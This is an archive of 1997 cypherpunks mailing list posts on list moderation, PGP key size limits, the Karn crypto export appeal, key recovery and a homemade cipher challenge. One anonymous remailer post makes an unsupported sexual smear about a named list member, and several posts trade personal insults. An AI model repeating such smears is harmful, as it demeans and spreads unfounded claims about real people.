In-Reply-To: <32D30EFB.5F8@gte.net>
Message-ID: <Pine.SUN.3.94.970108041301.8693D-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 7 Jan 1997, Dale Thorn wrote:

> The following table shows cypherpunks subscription activity
> for the period 12 Oct 1996 thru 07 January 1996.

[...]

> Totals:    87            655    725          7.5          8.3
> 
> Interpretation:
> 
> Unless the reversal of gain/loss in the 5th data row is permanent,
> c-punks are losing 0.8 bodies per day, or 294 subscribers per year.

[...]

> In effect, Sandy is going to have to cut the number of daily posts
> (to the moderated list) from, say, 100 per day down to, say, 20 or
> 25 per day.  This would certainly be a goal of his, since most of the
> subscriber comments I've heard indicate that even 50 posts per day of
> "relevant political/social commentary" is way too high for them.

Big assumption here.  That the list needs more than the 50 or so people
who are active posters in the first place.

More fear from Mr. Thorn that his own time in the spotlight might be
drawing to a close.  God forbid his captive audience might vanish.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 15:40:37 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D3304F.4E22@gte.net>
Message-ID: <Pine.SUN.3.91.970108152827.7219C-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Tue, 7 Jan 1997, Dale Thorn wrote:

> I saw the pictures of [Sandy's] last party.  He's kinda creepy
> looking.  OK for Hollywood, probably.

Thanks, Dale.  That's the look I was going for.  See, we can
agree on something.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Wed, 8 Jan 1997 13:03:01 -0800 (PST)
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment  in Jan
In-Reply-To: <Pine.SUN.3.95.970108104122.17163J-100000@viper.law.miami.edu>
Message-ID: <Pine.SUN.3.94.970108154429.25470A-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997, Michael Froomkin - U.Miami School of Law wrote:

> Date: Wed, 8 Jan 1997 10:52:09 -0500 (EST)
> From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
> To: Greg Broiles <gbroiles@netbox.com>
> Cc: Pierre Uszynski <pierre@rahul.net>, cypherpunks@toad.com
> Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment  in Jan
> 
> I'm not sure I see why a moderator would have any liability for passing on
> a trade secret or even a classified military secret so long as the
> moderator did not have a contractual relationship (or a clearance, as the
> case may be) with the owner.  That's free speech.  The moderator might
> have to cooperate with a subpoena from the original owner seeking to find
> who stole/released the secret, but that's a different problem.  Is there
> some trade secret theory of an implicit trusteeship that i don't know
> about? 

Not to my knowledge.  But See, subpoena comment above.

I am amazed that no one has suggested a pool of moderators with
provisions to blind a given post from attributation to a specific
moderator.  (Attornies- what might be impact of a Res Ipsa attack on this
kind of set up, and incidently, on other anonymous pool arrangements?)

> As to the choice of the moderator, innocent until proven guilty, I say. 
> I personally don't put much store in requiring a moderator to issue a code
> of practice.  Common law and equity will do to evolve a system as it goes
> along.

While as far as conduct goes I agree, in defining what will eventually be
the list content, and thus what I should or should not use/waste my time
typing up, it is an important ex ante condition that a stated policy
exist.  There are two questions here.

1>  Will my material be booted off only because it disturbs the moderator?
(I think this is the one answered by your common law reference)

2>  Will my material violate some restriction and be booted "for cause?"
(This can only be predicted accurately if there is a stated policy on what
constitutes a violation- and then only where the policy has teeth or is
generally respected).

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 8 Jan 1997 12:59:50 -0800 (PST)
To: "James A. Tunnicliffe" <Tunny@inference.com>
Subject: RE: Why are 1024 bit keys the limit right now?
In-Reply-To: <c=US%a=_%p=Inference%l=LANDRU-970108155742Z-8231@landru.novato.inference2.com>
Message-ID: <Pine.LNX.3.95.970108155529.682B-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 8 Jan 1997, James A. Tunnicliffe wrote:

> All current versions of PGP allow key sizes up to 2048* bits.  (When
> asked for the size of the key to generate, it allows you to select 512,
> 768, 1024, OR TO *TYPE IN THE NUMBER OF BITS DESIRED*.) There are older,
> partially incompatible versions that allow even larger keys, though
> there is little reason to go higher. Beyond something like 3100 bits, it
> is surmised that the 128-bit IDEA session key is easier to attack.

RSAREF limits the size of the key being generated to 1024 bits.  RSADSI
permitted PGP to distribute a slightly altered version that supports keys up
to 2048 bits with the U.S. version.  2.6.3 does not have the altered RSAREF
code, so the U.S. version cannot use keys larger than 1024 bits (unless, of
course, one uses the rsaref library distributed with 2.6.2).


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMtQLkCzIPc7jvyFpAQHGywf9ErGW2MWT/W0fMytbsuRXj0oc+BkYdgZE
iJwfTBE7Fm6M8P8J/g+iGfIU/UTJyn8A0FpIaAtCT3Thzj2ocVl+uYos85P15gE1
JPwSMQYji+mS0l2gx7vFQr0IfKfn3jRxq9AukbQaSPTbUB2SaN1jHig+O0o2YD16
32/hJMjuEerfLpjrgjHU01g0Km2ft3xdIv1zBEAqJipUUXVdieaSnEOSuDzoxEde
BW561hJpNpra6oZmga7qkgHVomRehXxbnBiX/NFh59mPA2N+OC+u5zHNgd2vVwVt
w6yHWc/UFZtTx58QDFecboQO+ybcpc/i/vNr0b2VFLxAluqjZTxHVg==
=nv7R
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 8 Jan 1997 16:13:29 -0800 (PST)
To: cypherpunks-announce
Subject: URGENT: Fri 10Jan 9:30AM Wash,DC: Karn appeals, come to the hearing!
Message-ID: <199701090013.QAA22694@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Friends of crypto freedom should definitely attend.  The courtroom
holds approximately 50 people, and we'd like to fill it.  Show Judges
Williams, Ginsburg and Rogers the importance of the case.  This is the
first time that a crypto export case has hit a Court of Appeals, and
your rights are very much at stake here.

If you're in the DC metropolitan area, come on out on Friday morning!
Show Phil Karn you support him as he challenges the export controls.  --John]

  RESEARCHER KARN APPEALS, SEEKING TO OVERTURN IRRATIONAL ENCRYPTION RULES
        "Books are OK to publish, floppies are not" policy

Washington, January 8 - Laywers for researcher Philip R. Karn, Jr.
will argue in court this Friday that Government restrictions on
distribution of encryption software violate the First and Fifth
Amendments of the Constitution, and are "arbitrary, capricious and
invalid" regulations.

This week's hearing, on January 10, 1997 at 9:30AM in the US Court of
Appeals for the District of Columbia Circuit, is open to the public at
333 Constitution Avenue, Washington DC.

The Government will argue that its rules are its own business, which
courts should not oversee, and that it is legitimate to regulate free
speech and publication when the government is uninterested in
suppressing the content thereof.  (The government actually has a
strong interest in suppressing the public's ability to understand and
deploy strong cryptography, but has managed to convince the district
court of the opposite.)

The lawsuit is complicated by the Government's introduction last month
of new encryption regulations.  President Clinton ordered on November
15 that the regulations be moved from the State Department to the
Commerce Department.  Over Christmas, the Clinton Administration
published its new Commerce Department regulations, which are
effectively identical to the State Department regulations, and put
them into immediate effect.  Mr. Karn's case only named the State
Department.  In an unusual switch, the Government is arguing that it
should be able to replace the State Department with the Commerce
Department as a defendant, in the hope of keeping the case alive.
(Most defendants would be happy to have the case disappear.  The State
Department appears to be hoping they will get a better decision in
this case than in related cases.)

The State Department regulations at issue were struck down in December
by Judge Marilyn Hall Patel in a similar case brought by Professor
Daniel Bernstein in San Francisco.  Judge Patel called the regulations
a "paradigm of standardless discretion" which required Americans to
get licenses from the government to publish information and software
about encryption.  No court has yet ruled on the new Commerce
Department regulations, which include the same provisions that were
declared unconstitutional.

"This case clearly raises an issue of fundamental importance to
cryptographers and computer programmers generally," said Kenneth Bass,
lead attorney in the case.  "The fundamental issue is how the courts
will treat computer programs.  Books are entitled to the full
protection of the First Amendment, but the trial judge in this case
decided that source code on a diskette does not enjoy that same
protection.  Programmers immediately recognize the utter irrationality
of this distinction.  We now will see whether the appeals courts will
also see it that way."

"Phil Karn's case illustrates both the irrationality of the encryption
rules and the depths of the bureaucratic mazes which protect them,"
said John Gilmore, co-founder of the Electronic Frontier Foundation,
which backed the suit.  "The idea that the First Amendment protects
the author of a book, but not the author of an identical floppy disk,
is ridiculous.  All books, magazines, and newspapers are written on
computers today before print publication, and many are also published
online.  Yet here we have Government lawyers not only defending their
right to regulate machine-readable publication, but also arguing that
the courts are not permitted to re-examine the issue.  Their argument
amounts to `Trust us with your fundamental liberties'.  Unfortunately,
a decade of NSA actions have amply demonstrated that they are happy to
sacrifice fundamental liberties when it gives them an edge in some
classified spy program.  Unless there's a clear and present danger to
our nation's physical security (which we have seen no evidence of),
our citizens' right to speak and publish freely is much more important
to American national security than any top-secret program."

Civil libertarians have long argued that encryption should be widely
deployed on the Internet and throughout society to protect privacy,
prove the authenticity of transactions, and improve computer security.
Industry has argued that the restrictions hobble them in building
secure products, both for U.S. and worldwide use, risking America's
current dominant position in computer and communications technology.
Government officials in the FBI and NSA argue that the technology is
too dangerous to permit citizens to use it, because it provides privacy
to criminals as well as ordinary citizens.

	Background on the case

Mr. Philip Karn is an engineer with a wide and varied background in
radio and wire communications.  He has given many years of volunteer
work in the amateur radio service, amateur satellite service, and in
the Internet community.  He is the author of the freely available
"KA9Q" internet software for DOS machines, which forms the basis of
many amateur radio experiments as well as several successful
commercial products.  He has written and given away various
cryptographic software, including one of the world's fastest versions
of the Data Encryption Standard (DES).  Phil also did the initial
research into encrypting Internet traffic at the packet level.  Mr.
Karn's home page is at http://www.qualcomm.com/people/pkarn/ .

In 1994, author Bruce Schneier published _Applied Cryptography_, a
best-selling encryption textbook which included some fifty pages of
encryption source code listings, including very strong algorithms such
as "Triple-DES".  As an civil libertarian, Mr. Karn asked the State
Department whether the book could be exported; they replied that it
was in the public domain and could therefore be exported.  Mr. Karn
then created a floppy disk containing the source code from the book,
and asked if the floppy could be exported.  The State Department
determined in May 1994 that the floppy was a munition.  Mr. Karn
would need to register as an arms dealer to be able to export the
disk.

After several administrative appeals, Mr. Karn filed suit in September
1995.  The suit asks a court to declare that the decision was invalid
because the distinction between publication on paper and publication
on floppies has no rational basis, and because the decision violates
Mr. Karn's right to publish the floppy.

Judge Charles R. Richey dismissed the case in a strongly-worded
36-page opinion.  "The plaintiff, in an effort to export a computer
diskette for profit, raises administrative law and meritless
constitutional claims because he and others have not been able to
persuade the Congress and the Executive Branch that the technology at
issue does not endanger the national security. This is a "political
question" for the two elected branches under Articles I and II of the
Constitution."  Mr. Karn, whose effort was motivated by concern for
civil rights rather than profit, appealed.  This week's hearing is the
first public hearing in his appeal case.

The regulations at issue in the case, which prevent American
researchers and companies from exporting cryptographic software and
hardware, are a relic of the Cold War.  The secretive National
Security Agency has built up an arcane web of complex and confusing
laws, regulations, standards, and secret interpretations for years.
These are used to force, persuade, or confuse individuals, companies,
and government departments into making it easy for NSA to wiretap and
decode all kinds of communications.  Their tendrils reach deep into
the White House, into numerous Federal agencies, and into the
Congressional Intelligence Committees.  In recent years this web is
unraveling in the face of increasing visibility, vocal public
disagreement with the spy agency's goals, commercial and political
pressure, and judicial scrutiny.

ABOUT THE ATTORNEYS

Lead counsel on the case are Kenneth C. Bass III and Thomas J. Cooper
of the Washington law firm of Venable, Baetjer, Howard & Civiletti,
who are offering their services pro bono.

ABOUT THE ELECTRONIC FRONTIER FOUNDATION

The Electronic Frontier Foundation (EFF) is a nonprofit civil
liberties organization working in the public interest to protect
privacy, free expression, and access to online resources and
information.  EFF is funding the expenses in Mr. Karn's case.

The full text of the lawsuit and other paperwork filed in the case is
available from Phil Karn's web site at:

        http://www.qualcomm.com/people/pkarn/export/index.html

SOURCE: Electronic Frontier Foundation

    CONTACT:  Ken Bass, lead attorney, +1 202 962 4890, kbass@venable.com;
or Shari Steele, EFF Staff Attorney, +1 301 375 8856, ssteele@eff.org;
or John Gilmore, EFF Board Member, +1 415 221 6524, gnu@toad.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Derek Atkins <warlord@MIT.EDU>
Date: Wed, 8 Jan 1997 13:17:45 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Why are 1024 bit keys the limit right now?
In-Reply-To: <Pine.LNX.3.95.970108155529.682B-100000@eclipse.voicenet.com>
Message-ID: <sjmloa3yiif.fsf@bart-savagewood.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


There is no PGP 2.6.3; at least not that came from MIT... Someone
else may have made something claiming to be 2.6.3, but it did not
originate from MIT.

-derek

"Mark M." <markm@voicenet.com> writes:

> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Wed, 8 Jan 1997, James A. Tunnicliffe wrote:
> 
> > All current versions of PGP allow key sizes up to 2048* bits.  (When
> > asked for the size of the key to generate, it allows you to select 512,
> > 768, 1024, OR TO *TYPE IN THE NUMBER OF BITS DESIRED*.) There are older,
> > partially incompatible versions that allow even larger keys, though
> > there is little reason to go higher. Beyond something like 3100 bits, it
> > is surmised that the 128-bit IDEA session key is easier to attack.
> 
> RSAREF limits the size of the key being generated to 1024 bits.  RSADSI
> permitted PGP to distribute a slightly altered version that supports keys up
> to 2048 bits with the U.S. version.  2.6.3 does not have the altered RSAREF
> code, so the U.S. version cannot use keys larger than 1024 bits (unless, of
> course, one uses the rsaref library distributed with 2.6.2).
> 
> 
> Mark
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3
> Charset: noconv
> 
> iQEVAwUBMtQLkCzIPc7jvyFpAQHGywf9ErGW2MWT/W0fMytbsuRXj0oc+BkYdgZE
> iJwfTBE7Fm6M8P8J/g+iGfIU/UTJyn8A0FpIaAtCT3Thzj2ocVl+uYos85P15gE1
> JPwSMQYji+mS0l2gx7vFQr0IfKfn3jRxq9AukbQaSPTbUB2SaN1jHig+O0o2YD16
> 32/hJMjuEerfLpjrgjHU01g0Km2ft3xdIv1zBEAqJipUUXVdieaSnEOSuDzoxEde
> BW561hJpNpra6oZmga7qkgHVomRehXxbnBiX/NFh59mPA2N+OC+u5zHNgd2vVwVt
> w6yHWc/UFZtTx58QDFecboQO+ybcpc/i/vNr0b2VFLxAluqjZTxHVg==
> =nv7R
> -----END PGP SIGNATURE-----
> 

-- 
       Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
       Member, MIT Student Information Processing Board (SIPB)
    Home page: http://www.mit.edu:8001/people/warlord/home_page.html
       warlord@MIT.EDU    PP-ASEL     N1NWH    PGP key available




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 16:10:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation and the Polymorphic Virus
In-Reply-To: <199701081617.LAA13641@laf.cioe.com>
Message-ID: <RuF9ZD1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


serw30@laf.cioe.com writes:
>  Yes, lets create polymorphic viruses and CPU cycle stealing Java 
> applets. Maybe even a new and improved Internet worm...

"Cypher punks" can't write any code - be it mail filters, viruses, or crypto.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Wed, 8 Jan 1997 13:59:47 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.SUN.3.91.970108130901.28929H-100000@crl.crl.com>
Message-ID: <Pine.SUN.3.94.970108165707.25470B-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 8 Jan 1997, Sandy Sandfort wrote:

> C'punks,
> 
> On Sun, 5 Jan 1997, Black Unicorn wrote:
> 
> > How will borderline posts be dealt with?  Posts that contain a great deal
> > of content and thoughful discussion and still manage to contain flames?
> > 
> > Will flames be an automatic boot for a post (zero tolerance), or will they
> > be balanced against post content?
> 
> Zero tolerance will be my first approximation.  I may modify 
> that as I see how things really work out.  So far, though, I
> don't recall see any of those "high content with flames" animals.
> Most posts are one or the other.

Haven't you been reading my stuff?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Wed, 8 Jan 1997 14:16:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <9701082159.AA09026@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May's aberrant sexual life has negatively impacted his mental 
integrity.

            ///
           (0 0)
    ____ooO_(_)_Ooo__ Timmy May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 8 Jan 1997 17:33:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment
In-Reply-To: <v03007822aef8ebe9acd7@[207.93.129.86]>
Message-ID: <32D44A93.2536@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:
> 
> As for the whole moderation idea, consider officially defining the
> list to be "occasionally moderated".  If the abuse is bad, start
> moderating it.  If there get to be few problems, stop moderating it. 
> (A separate issue is whether to tell anyone which way the list is
> currently running.)

Strongly disagree. That would be too arbitrary.

In practice, a system such as Chudov's STUMP reduces the latency and 
moderator effort considerably, as responsible posters get put onto the 
white list for auto-approval (to be degraded to hand-moderation if they 
lose it). For list regulars, it's as if the list were unmoderated.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sentient Demon <sheba@gis.net>
Date: Wed, 8 Jan 1997 15:03:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: AHHHHHHHHHHHHHHHHHH!!!!!!!
Message-ID: <32D4511A.5C1@gis.net>
MIME-Version: 1.0
Content-Type: text/plain


hOW DO i GET OFF THIS LIST?!!!!!!!!!!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 18:40:09 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701090122.TAA27883@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970108182540.10276A-100000@crl10.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Wed, 8 Jan 1997 ichudov@algebra.com wrote:

> Sandy Sandfort wrote:

> > Truth (and relevance) are a defense.  :-)
> 
> If your approval is your certification of truthfulness of articles,
> you might be held liable for libel. Is that correct?

Gosh, I hadn't thought about that.  Maybe I should reconsider
this whole crazy idea.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Wed, 8 Jan 1997 18:03:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: REMINDER: C2Net Party: January 24th
Message-ID: <199701090231.SAA24050@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


		       http://www.c2.net/party/
				C2NET

			  is having a party

			     January 24th

				  at

			   654 Mission St.
			    San Francisco

			   assorted snacks,
			      a cash bar
				 and

			      live music
				  by
			WEIRD BLINKING LIGHTS

		       with dj accompaniment by
		       DJ FLINT and DJ PINNIPED

		  will be present for your enjoyment

			 Festivities begin at
				 8PM

		       We hope to see you there

---
Directions:

>From the West or North:

        Take Oak Street East.
        Turn left on Laguna.
        Turn right on Fell.
        Fell crosses Market and becomes 10th Street.
        Merge left within one block of Market.
        Turn left on Mission.

>From the East:

        Take Hwy 80 West across the Bay Bridge.
        Take the first exit on the left (Harrison Street exit)
        Turn left on Harrison.
        Turn right on 3rd Street.
        Turn right on Mission.

>From the South:

        Take Hwy 280 North.
        Follow 280 to its end at 4th & King Streets.
        Follow King Street to its end at 3rd Street.
        Turn left on 3rd.
        Turn right on Mission.

>From BART:

	Take BART to the Montgomery station
	Walk south on New Montgomery Street
	Turn right on Mission.

Parking:

	There is a commercial parking lot across the street on Mission
	and another one on the corner of 3rd and Mission.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 8 Jan 1997 17:24:32 -0800 (PST)
To: devnull@www.video-collage.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.SUN.3.94.970108165707.25470B-100000@polaris>
Message-ID: <199701090118.TAA27824@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Black Unicorn wrote:
> 
> On Wed, 8 Jan 1997, Sandy Sandfort wrote:
> 
> > C'punks,
> > 
> > On Sun, 5 Jan 1997, Black Unicorn wrote:
> > 
> > > How will borderline posts be dealt with?  Posts that contain a great deal
> > > of content and thoughful discussion and still manage to contain flames?
> > > 
> > > Will flames be an automatic boot for a post (zero tolerance), or will they
> > > be balanced against post content?
> > 
> > Zero tolerance will be my first approximation.  I may modify 
> > that as I see how things really work out.  So far, though, I
> > don't recall see any of those "high content with flames" animals.
> > Most posts are one or the other.
> 
> Haven't you been reading my stuff?
> 

Indeed, I suggest a zero tolerance policy for posts of Prof. Black 
Unicorn where content is mixed with flames.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 8 Jan 1997 17:27:31 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <32D4142E.CB8@sk.sympatico.ca>
Message-ID: <199701090120.TAA27868@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Toto wrote:
> 
> Bill Stewart wrote:
> > 
> > The commercials between the movie and news show on the airline include an
> > IBM spot on their new Key Recovery software.  Sigh.
> > 
> > The explanations they gave were mixed; one person was talking about
> > making sure that if you lose the key that people with a legitimate need
> > to access the material can do it. 
> 
>   Like the legitimate leader of a country, say, for instance...Hitler?
> Or a legitimate law enforcement agency, say, for instance...the Gestapo?
> 

... Or a legitimate business need to recover the key of an employee
who suddenly quit the company?

There can be many good uses of key recovery.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 8 Jan 1997 17:28:05 -0800 (PST)
To: sandfort@crl.com (Sandy Sandfort)
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.SUN.3.91.970108130901.28929H-100000@crl.crl.com>
Message-ID: <199701090122.TAA27883@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Sandy Sandfort wrote:
> On Sun, 5 Jan 1997, Black Unicorn wrote:
> > What is the threshold which, for example, constitutes an "insult" ?
> > 
> > "Louis Freeh couldn't identify a directed well managed crypto policy if it
> > bit him on his pimple speckled ass."
> 
> Truth (and relevance) are a defense.  :-)

If your approval is your certification of truthfulness of articles,
you might be held liable for libel. Is that correct?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 8 Jan 1997 17:39:10 -0800 (PST)
To: jvrooyen@liasec.sec.lia.net
Subject: Re: encryption program
In-Reply-To: <NL98ZD3w165w@bwalk.dm.com>
Message-ID: <199701090132.TAA28002@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> Path: perun!news2.panix.com!panix!news.mathworks.com!newsfeed.internetmci.com!hunter.premier.net!news-peer.gsl.net!news.gsl.net!news-dc.gsl.net!news.gsl.net!news.sprintlink.co.za!NEWS!not-for-mail
> From: Pierre van Rooyen <jvrooyen@liasec.infolink.co.za>
> Newsgroups: alt.security
> Subject: encryption program
> Message-ID: <32D39684.285B@liasec.infolink.co.za>
> Date: Wed, 08 Jan 1997 04:43:48 -0800
> Organization: Secunda
> Lines: 22
> MIME-Version: 1.0
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
> 
> If you are familiar with encryption please help me with the following
> 
> Firstly I want to know if there are a encryption program currently used 
> that are completely succure from hackers.  In other words, information 
> encrypted that no person is able to decrypt.  Well if there isn't such a 
> program I really think I have one that I have written myself.  It is 
> simple text that I have encrypted and so far no one was able to decrypt 
> it.  You can go and have a look yourself at 
> http://www.lia.net/pvrooyen/encrypt.txt
> (CLICK HERE to go 
> there now)

Pierre -- 

Thanks for inventing an interesting encryption method. There is a
mailing list for people interested in encryption, cypherpunks@toad.com,
and they may be interested in trying to "break" your program. If we
all cannot manage to break your program, you will have another assurance
that your algorithm is correct.

Remember that in order to be a really useful product, crackers and
hackers should not be able to break it EVEN IF THEY KNOW HOW IT WORKS. 

So, your explanations on how it actually works will be very helpful for
all of us.

Cypherpunks, why don't we try to crack his encryption program? It seems
like a fun exercise.

Below is his "encrypted" file from the link above. Let's see if anyone
comes up with an idea to crack it!

	- Igor.

##> To help you:
##> - Only letters a..z and A..Z is encrypted.
##> - The first line decrypted reads:
##>  
##>  Here follows a example of the encryption program.  This text file was taken 
##>  
##> START:
##>  Dqma vkbcjtp z kggequp ix dvu noqwjzevfi lfkizgv.  Iquy aiay ifom gib knmdk 
##>  uwwt fhw wshg toaqyt cics.
##>  
##>  Tjtj zbtp aufnapih f 100% MEM zmdlekbbii nvuivdpl cajzqqob gqet
##>  4DA kp hhtwan xzn s BED qxub. Jydi vfnpxtu zm GDL gpru kn rf faids
##>  vfhjdru 3.0 wa ynmbp.
##> 
##>  Zvu jxmx jpok wc nro xuevs PBM txu EPU gsfrc MXISCSX!
##> 
##>  Bmph zeuixzr kxv kqrv kcvpeb gwc uoct yjtsx eqr blc onmf jtnrbln fikacz
##>  fmekhow eytbeo cvw mpxoefb jk iyn itaqbdvkv kp cszegabp rul ttisadar
##>  nfldckfypzzt ixso galyx icro AI's wsdnk tgj sw ilmgzusr xblo st bjqix
##>  qvb ipcfaaqn lntf hxb. Pwic cg j ppac dl git rpxz jrrvyv grrbigqa eooi
##>  fsv nlpav.
##> 
##>  Ix qdcnmgwp nkrwvzwgq rmcl gny pqh afrnpdlmz bh quau NPJEOZ VDAD jcn
##>  bp kdps nq bxfjtx ut vkbf gqcx n Gnvpma Mxmw Isr (rhrmozm ry YCMWCEBR'z
##>  qxnhmacph).
##> 
##>  Kmmnx QAQDEV FVSW na g ugb jgvnus czrq, kzj btj skrupti dju lubxzfnob ivw
##>  tjd mltlcxm mzfg viynif oerx (rcf texryuhgvhh lz iyn gra mv pxxn sllxtpfu).
##> 
##> 
##>  VPGJBN JNHZYQG AGFAHQHX
##>  -----------------------
##> 
##>   Y. Fnbw U seilzzg wjq nwcc wae jwwmdob mbgkt rn xsir dplrf tj dqzclpvdaasi
##>      dnlsmw jn uxqd v DBAGD DBEIM 9874.
##>   V. Iyet bwxncnd mdeqmzpb 4XK bg pintxz wt aev.
##> 
##>      Yb bkr wsdx fhnm gclpwg, cap qoztki hdhrcp bbba ffsrk mm cjsm FFEXCA.TDZ
##>      kalm gytd gutndaq dpnk hdzkwg fnbw git kprvtwma ccerw.
##> 
##>      Pbg qpypmjf EJMDLJ.WKN prbthucy hxzb tbcmsfs iyn bsfijsyey hdokz:
##> 
##>       KALMF=20
##>       ZPKQUST=20
##> 
##>      Z ixyh ZFIYVZ.XGA crxg ckqm wam wjq nwcc qjt QMUSAXH dsi ei:
##> 
##>       bnztza=orhco.ipo
##>       zodpxw=agj386.imu tnqgq
##>       ckj=vbzb,vpm
##>       nnclpln= 30
##>       kwcnt= 20
##> 
##>      Stgrgwi, oavo JWVLSN.FEZ chqr jbzbr cxc gujg yw cgn heisgs. Cn
##>      vozmwxlmi kjdqk bnu 2 azha KDEIFF.NWN zs rjq bzyo g llyj gttvzon.
##> 
##> 
##>      QDUV LDLM HCASS SXXZHZTX XMEKKW LYA ESVCPNSUUY.
##> 
##> 
##>  ENFB NSPUY AAMHQYA, AFSCRKZ PAENMAC UG ZY RKJU
##>  ----------------------------------------------
##> 
##>  L.  Sxyi C pubyb mhm qshw wl "hpqob" iniym puy qkabanp "GP YPZTV NJPZ
##>      OTTFGQGK".
##>  V.  Eoih zm ozqlqrwfw i pkrimcnk fefewlm cubtrfno. Wjq gijbvgoh mgwm
